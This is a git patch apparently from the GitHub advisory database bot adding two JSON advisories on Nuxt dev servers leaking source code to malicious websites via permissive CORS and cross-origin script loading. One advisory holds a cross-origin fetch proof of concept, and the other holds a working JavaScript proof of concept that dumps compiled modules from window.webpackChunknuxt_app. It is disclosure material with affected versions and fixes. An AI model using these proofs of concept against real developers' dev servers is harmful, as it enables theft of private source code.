From 8eecfc84c0c1257276a9021f79356d9436c57fa8 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Mon, 27 Jan 2025 11:32:39 +0000
Subject: [PATCH] Publish Advisories

GHSA-2452-6xj8-jh47
GHSA-4gf7-ff8x-hq99
---
 .../GHSA-2452-6xj8-jh47.json                  | 81 ++++++++++++++++++
 .../GHSA-4gf7-ff8x-hq99.json                  | 84 +++++++++++++++++++
 2 files changed, 165 insertions(+)
 create mode 100644 advisories/github-reviewed/2025/01/GHSA-2452-6xj8-jh47/GHSA-2452-6xj8-jh47.json
 create mode 100644 advisories/github-reviewed/2025/01/GHSA-4gf7-ff8x-hq99/GHSA-4gf7-ff8x-hq99.json

diff --git a/advisories/github-reviewed/2025/01/GHSA-2452-6xj8-jh47/GHSA-2452-6xj8-jh47.json b/advisories/github-reviewed/2025/01/GHSA-2452-6xj8-jh47/GHSA-2452-6xj8-jh47.json
new file mode 100644
index 00000000000..cb773cc99d8
--- /dev/null
+++ b/advisories/github-reviewed/2025/01/GHSA-2452-6xj8-jh47/GHSA-2452-6xj8-jh47.json
@@ -0,0 +1,81 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-2452-6xj8-jh47",
+  "modified": "2025-01-27T11:31:15Z",
+  "published": "2025-01-27T11:31:14Z",
+  "aliases": [
+    "CVE-2025-24360"
+  ],
+  "summary": "Opening a malicious website while running a Nuxt dev server could allow read-only access to code",
+  "details": "### Summary\nNuxt allows any websites to send any requests to the development server and read the response due to default CORS settings.\n\n### Details\nWhile Vite patched the default CORS settings to fix https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6, nuxt uses its own CORS handler by default (https://github.com/nuxt/nuxt/pull/23995).\n\nhttps://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/client.ts#L257-L263\n\nThat CORS handler sets `Access-Control-Allow-Origin: *`.\n\n> [!IMPORTANT]  \n> If on an affected version, it may be possible to opt-out of the default Nuxt CORS handler by configuring `vite.server.cors`.\n\n### PoC\n1. Start a dev server in any nuxt project using Vite by `nuxt dev`.\n2. Send a fetch request to `http://localhost:3000/_nuxt/app.vue` (`fetch('http://localhost:3000/_nuxt/app.vue')`) from a different origin page.\n\n### Impact\nUsers with the default server.cors option using Vite builder may get the source code stolen by malicious websites\n\n### Additional Information\n`/__nuxt_vite_node__/manifest` / `/__nuxt_vite_node__/module` also seems to have `Access-Control-Allow-Origin: *`, so it maybe also possible to exploit that handler.\nhttps://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/vite-node.ts#L39\nAlthough I didn't find a valid module id.\nNote that this handler is probably also vulnerable to DNS rebinding attacks as I didn't find any host header checks.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@nuxt/vite-builder"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "3.8.1"
+            },
+            {
+              "fixed": "3.15.3"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-2452-6xj8-jh47"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24360"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/nuxt/nuxt/pull/23995"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/nuxt/nuxt"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/client.ts#L257-L263"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/vite-node.ts#L39"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-200"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-01-27T11:31:14Z",
+    "nvd_published_at": "2025-01-25T01:15:24Z"
+  }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/01/GHSA-4gf7-ff8x-hq99/GHSA-4gf7-ff8x-hq99.json b/advisories/github-reviewed/2025/01/GHSA-4gf7-ff8x-hq99/GHSA-4gf7-ff8x-hq99.json
new file mode 100644
index 00000000000..ce00456dcd5
--- /dev/null
+++ b/advisories/github-reviewed/2025/01/GHSA-4gf7-ff8x-hq99/GHSA-4gf7-ff8x-hq99.json
@@ -0,0 +1,84 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-4gf7-ff8x-hq99",
+  "modified": "2025-01-27T11:31:42Z",
+  "published": "2025-01-27T11:31:41Z",
+  "aliases": [
+    "CVE-2025-24361"
+  ],
+  "summary": "Opening a malicious website while running a Nuxt dev server could allow read-only access to code",
+  "details": "### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:3000/_nuxt/app.js\">` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:3000/_nuxt/app.js'\nscript.addEventListener('load', () => {\n  for (const page in window.webpackChunknuxt_app) {\n    const moduleList = window.webpackChunknuxt_app[page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement('p')\n      const title = document.createElement('strong')\n      title.textContent = key\n      const code = document.createElement('code')\n      code.textContent = moduleList[key].toString()\n      p.append(title, ':', document.createElement('br'), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n\n![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85)\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@nuxt/webpack-builder"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "3.0.0"
+            },
+            {
+              "fixed": "3.15.3"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "@nuxt/rspack-builder"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "3.12.2"
+            },
+            {
+              "fixed": "3.15.3"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24361"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/nuxt/nuxt"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-749"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-01-27T11:31:41Z",
+    "nvd_published_at": "2025-01-25T01:15:24Z"
+  }
+}
\ No newline at end of file